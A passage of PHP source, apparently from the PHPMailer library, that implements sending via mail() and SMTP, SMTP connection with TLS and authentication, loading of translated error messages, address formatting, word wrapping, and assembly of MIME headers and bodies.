     * @return bool
     */
    protected function mailSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;

        $toArr = [];
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = trim(implode(', ', $toArr));

        //If there are no To-addresses (e.g. when sending only to BCC-addresses)
        //the following should be added to get a correct DKIM-signature.
        //Compare with $this->preSend()
        if ($to === '') {
            $to = 'undisclosed-recipients:;';
        }

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        //A space after `-f` is optional, but there is a long history of its presence
        //causing problems, so we don't use one
        //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html
        //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html
        //Example problem: https://www.drupal.org/node/1057954
        //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.

        //PHP 5.6 workaround
        $sendmail_from_value = ini_get('sendmail_from');
        if (empty($this->Sender) && !empty($sendmail_from_value)) {
            //PHP config has a sender address we can use
            $this->Sender = ini_get('sendmail_from');
        }
        if (!empty($this->Sender) && static::validateAddress($this->Sender)) {
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo && count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet);
                $this->doCallback(
                    $result,
                    [[$addrinfo['address'], $addrinfo['name']]],
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From,
                    []
                );
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL);
        }

        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation,
     * or set one with setSMTPInstance.
     *
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP();
        }

        return $this->smtp;
    }

    /**
     * Provide an instance to use for SMTP operations.
     *
     * @return SMTP
     */
    public function setSMTPInstance(SMTP $smtp)
    {
        $this->smtp = $smtp;

        return $this->smtp;
    }

    /**
     * Provide SMTP XCLIENT attributes
     *
     * @param string $name  Attribute name
     * @param ?string $value Attribute value
     *
     * @return bool
     */
    public function setSMTPXclientAttribute($name, $value)
    {
        if (!in_array($name, SMTP::$xclient_allowed_attributes)) {
            return false;
        }
        if (isset($this->SMTPXClient[$name]) && $value === null) {
            unset($this->SMTPXClient[$name]);
        } elseif ($value !== null) {
            $this->SMTPXClient[$name] = $value;
        }

        return true;
    }

    /**
     * Get SMTP XCLIENT attributes
     *
     * @return array
     */
    public function getSMTPXclientAttributes()
    {
        return $this->SMTPXClient;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     *
     * @see PHPMailer::setSMTPInstance() to use a different class.
     *
     * @uses \PHPMailer\PHPMailer\SMTP
     *
     * @param string $header The message headers
     * @param string $body   The message body
     *
     * @throws Exception
     *
     * @return bool
     */
    protected function smtpSend($header, $body)
    {
        $header = static::stripTrailingWSP($header) . static::$LE . static::$LE;
        $bad_rcpt = [];
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        //Sender already validated in preSend()
        if ('' === $this->Sender) {
            $smtp_from = $this->From;
        } else {
            $smtp_from = $this->Sender;
        }
        if (count($this->SMTPXClient)) {
            $this->smtp->xclient($this->SMTPXClient);
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
        }

        $callbacks = [];
        //Attempt to send to all recipients
        foreach ([$this->to, $this->cc, $this->bcc] as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0], $this->dsn)) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']];
                    $isSent = false;
                } else {
                    $isSent = true;
                }

                $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]];
            }
        }

        //Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) {
            throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }

        $smtp_transaction_id = $this->smtp->getLastTransactionID();

        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }

        foreach ($callbacks as $cb) {
            $this->doCallback(
                $cb['issent'],
                [[$cb['to'], $cb['name']]],
                [],
                [],
                $this->Subject,
                $body,
                $this->From,
                ['smtp_transaction_id' => $smtp_transaction_id]
            );
        }

        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
        }

        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     *
     * @param array $options An array of options compatible with stream_context_create()
     *
     * @throws Exception
     *
     * @uses \PHPMailer\PHPMailer\SMTP
     *
     * @return bool
     */
    public function smtpConnect($options = null)
    {
        if (null === $this->smtp) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (null === $options) {
            $options = $this->SMTPOptions;
        }

        //Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        if ($this->Host === null) {
            $this->Host = 'localhost';
        }
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = [];
            if (
                !preg_match(
                    '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/',
                    trim($hostentry),
                    $hostinfo
                )
            ) {
                $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry));
                //Not a valid host entry
                continue;
            }
            //$hostinfo[1]: optional ssl or tls prefix
            //$hostinfo[2]: the hostname
            //$hostinfo[3]: optional port number
            //The host string prefix can temporarily override the current setting for SMTPSecure
            //If it's not specified, the default value is used

            //Check the host name is a valid name or IP address before trying to use it
            if (!static::isValidHost($hostinfo[2])) {
                $this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]);
                continue;
            }
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure);
            if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; //Can't have SSL and TLS at the same time
                $secure = static::ENCRYPTION_SMTPS;
            } elseif ('tls' === $hostinfo[1]) {
                $tls = true;
                //TLS doesn't use a prefix
                $secure = static::ENCRYPTION_STARTTLS;
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA256');
            if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[2];
            $port = $this->Port;
            if (
                array_key_exists(3, $hostinfo) &&
                is_numeric($hostinfo[3]) &&
                $hostinfo[3] > 0 &&
                $hostinfo[3] < 65536
            ) {
                $port = (int) $hostinfo[3];
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    //* it's not disabled
                    //* we are not connecting to localhost
                    //* we have openssl extension
                    //* we are not already using SSL
                    //* the server offers STARTTLS
                    if (
                        $this->SMTPAutoTLS &&
                        $this->Host !== 'localhost' &&
                        $sslext &&
                        $secure !== 'ssl' &&
                        $this->smtp->getServerExt('STARTTLS')
                    ) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            $message = $this->getSmtpErrorMessage('connect_host');
                            throw new Exception($message);
                        }
                        //We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if (
                        $this->SMTPAuth && !$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->oauth
                        )
                    ) {
                        throw new Exception($this->lang('authenticate'));
                    }

                    return true;
                } catch (Exception $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    //We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        //If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        //As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions && null !== $lastexception) {
            throw $lastexception;
        }
        if ($this->exceptions) {
            // no exception was thrown, likely $this->smtp->connect() failed
            $message = $this->getSmtpErrorMessage('connect_host');
            throw new Exception($message);
        }

        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     */
    public function smtpClose()
    {
        if ((null !== $this->smtp) && $this->smtp->connected()) {
            $this->smtp->quit();
            $this->smtp->close();
        }
    }

    /**
     * Set the language for error messages.
     * The default language is English.
     *
     * @param string $langcode  ISO 639-1 2-character language code (e.g. French is "fr")
     *                          Optionally, the language code can be enhanced with a 4-character
     *                          script annotation and/or a 2-character country annotation.
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     *                          Do not set this from user input!
     *
     * @return bool Returns true if the requested language was loaded, false otherwise.
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        //Backwards compatibility for renamed language codes
        $renamed_langcodes = [
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'rs' => 'sr',
            'tg' => 'tl',
            'am' => 'hy',
        ];

        if (array_key_exists($langcode, $renamed_langcodes)) {
            $langcode = $renamed_langcodes[$langcode];
        }

        //Define full set of translatable strings in English
        $PHPMAILER_LANG = [
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' .
                ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' .
                ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'extension_missing' => 'Extension missing: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'invalid_header' => 'Invalid header name or value',
            'invalid_hostentry' => 'Invalid hostentry: ',
            'invalid_host' => 'Invalid host: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_code' => 'SMTP code: ',
            'smtp_code_ex' => 'Additional SMTP info: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_detail' => 'Detail: ',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
        ];
        if (empty($lang_path)) {
            //Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
        }

        //Validate $langcode
        $foundlang = true;
        $langcode  = strtolower($langcode);
        if (
            !preg_match('/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/', $langcode, $matches)
            && $langcode !== 'en'
        ) {
            $foundlang = false;
            $langcode = 'en';
        }

        //There is no English translation file
        if ('en' !== $langcode) {
            $langcodes = [];
            if (!empty($matches['script']) && !empty($matches['country'])) {
                $langcodes[] = $matches['lang'] . $matches['script'] . $matches['country'];
            }
            if (!empty($matches['country'])) {
                $langcodes[] = $matches['lang'] . $matches['country'];
            }
            if (!empty($matches['script'])) {
                $langcodes[] = $matches['lang'] . $matches['script'];
            }
            $langcodes[] = $matches['lang'];

            //Try and find a readable language file for the requested language.
            $foundFile = false;
            foreach ($langcodes as $code) {
                $lang_file = $lang_path . 'phpmailer.lang-' . $code . '.php';
                if (static::fileIsAccessible($lang_file)) {
                    $foundFile = true;
                    break;
                }
            }

            if ($foundFile === false) {
                $foundlang = false;
            } else {
                $lines = file($lang_file);
                foreach ($lines as $line) {
                    //Translation file lines look like this:
                    //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.';
                    //These files are parsed as text and not PHP so as to avoid the possibility of code injection
                    //See https://blog.stevenlevithan.com/archives/match-quoted-string
                    $matches = [];
                    if (
                        preg_match(
                            '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/',
                            $line,
                            $matches
                        ) &&
                        //Ignore unknown translation keys
                        array_key_exists($matches[1], $PHPMAILER_LANG)
                    ) {
                        //Overwrite language-specific strings so we'll never have missing translation keys.
                        $PHPMAILER_LANG[$matches[1]] = (string)$matches[3];
                    }
                }
            }
        }
        $this->language = $PHPMAILER_LANG;

        return $foundlang; //Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     *
     * @return array
     */
    public function getTranslations()
    {
        if (empty($this->language)) {
            $this->setLanguage(); // Set the default language.
        }

        return $this->language;
    }

    /**
     * Create recipient headers.
     *
     * @param string $type
     * @param array  $addr An array of recipients,
     *                     where each recipient is a 2-element indexed array with element 0 containing an address
     *                     and element 1 containing a name, like:
     *                     [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']]
     *
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = [];
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }

        return $type . ': ' . implode(', ', $addresses) . static::$LE;
    }

    /**
     * Format an address for use in a message header.
     *
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like
     *                    ['joe@example.com', 'Joe User']
     *
     * @return string
     */
    public function addrFormat($addr)
    {
        if (!isset($addr[1]) || ($addr[1] === '')) { //No name provided
            return $this->secureHeader($addr[0]);
        }

        return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') .
            ' <' . $this->secureHeader($addr[0]) . '>';
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     *
     * @param string $message The message to wrap
     * @param int    $length  The line length to wrap to
     * @param bool   $qp_mode Whether to run in Quoted-Printable mode
     *
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', static::$LE);
        } else {
            $soft_break = static::$LE;
        }
        //If utf-8 encoding is used, we will need to make sure we don't
        //split multibyte characters when we wrap
        $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet);
        $lelen = strlen(static::$LE);
        $crlflen = strlen(static::$LE);

        $message = static::normalizeBreaks($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) === static::$LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode(static::$LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode && (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif ('=' === substr($word, $len - 1, 1)) {
                                --$len;
                            } elseif ('=' === substr($word, $len - 2, 1)) {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', static::$LE);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while ($word !== '') {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif ('=' === substr($word, $len - 1, 1)) {
                            --$len;
                        } elseif ('=' === substr($word, $len - 2, 1)) {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = (string) substr($word, $len);

                        if ($word !== '') {
                            $message .= $part . sprintf('=%s', static::$LE);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if ('' !== $buf_o && strlen($buf) > $length) {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . static::$LE;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     *
     * @param string $encodedText utf-8 QP text
     * @param int    $maxLength   Find the last character boundary prior to this length
     *
     * @return int
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                //Found start of encoded character byte within $lookBack block.
                //Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    //Single byte character.
                    //If the encoded char was found at pos 0, it will fit
                    //otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength -= $lookBack - $encodedCharPos;
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    //First byte of a multi byte character
                    //Reduce maxLength to split at start of character
                    $maxLength -= $lookBack - $encodedCharPos;
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    //Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                //No encoded character found
                $foundSplitPos = true;
            }
        }

        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     *
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate);

        //The To header is created automatically by mail(), so needs to be omitted here
        if ('mail' !== $this->Mailer) {
            if ($this->SingleTo) {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            } elseif (count($this->to) > 0) {
                $result .= $this->addrAppend('To', $this->to);
            } elseif (count($this->cc) === 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }
        $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]);

        //sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        //sendmail and mail() extract Bcc from the header before sending
        if (
            (
                'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer
            )
            && count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        //mail() sets the subject itself
        if ('mail' !== $this->Mailer) {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        //Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        //https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4
        if (
            '' !== $this->MessageID &&
            preg_match(
                '/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' .
                '|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' .
                '|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' .
                '(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' .
                '|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di',
                $this->MessageID
            )
        ) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (null !== $this->Priority) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ('' === $this->XMailer) {
            //Empty string for default X-Mailer header
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } elseif (is_string($this->XMailer) && trim($this->XMailer) !== '') {
            //Some string
            $result .= $this->headerLine('X-Mailer', trim($this->XMailer));
        } //Other values result in no X-Mailer header

        if ('' !== $this->ConfirmReadingTo) {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        //Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     *
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            default:
                //Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        //RFC1341 part 5 says 7bit is assumed if not specified
        if (static::ENCODING_7BIT !== $this->Encoding) {
            //RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if (static::ENCODING_8BIT === $this->Encoding) {
                    $result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT);
                }
                //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     *
     * @see PHPMailer::preSend()
     *
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) .
            static::$LE . static::$LE . $this->MIMEBody;
    }

    /**
     * Create a unique ID to use for boundaries.
     *
     * @return string
     */
    protected function generateId()
    {
        $len = 32; //32 bytes = 256 bits
        $bytes = '';
        if (function_exists('random_bytes')) {
            try {
                $bytes = random_bytes($len);
            } catch (\Exception $e) {
                //Do nothing
            }
        } elseif (function_exists('openssl_random_pseudo_bytes')) {
            /** @noinspection CryptographicallySecureRandomnessInspection */
            $bytes = openssl_random_pseudo_bytes($len);
        }
        if ($bytes === '') {
            //We failed to produce a proper random string, so make do.
            //Use a hash to force the length to the same as the other methods
            $bytes = hash('sha256', uniqid((string) mt_rand(), true), true);
        }

        //We don't care about messing up base64 format here, just want a random string
        return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true)));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     *
     * @throws Exception
     *
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->setBoundaries();

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . static::$LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) {
            $bodyEncoding = static::ENCODING_7BIT;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = static::CHARSET_ASCII;
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = static::ENCODING_7BIT;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = static::CHARSET_ASCII;
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }
        //Use this as a preamble in all multipart message types
        $mimepre = '';
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[1],
                        '',
                        static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
                        ''
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= static::$LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
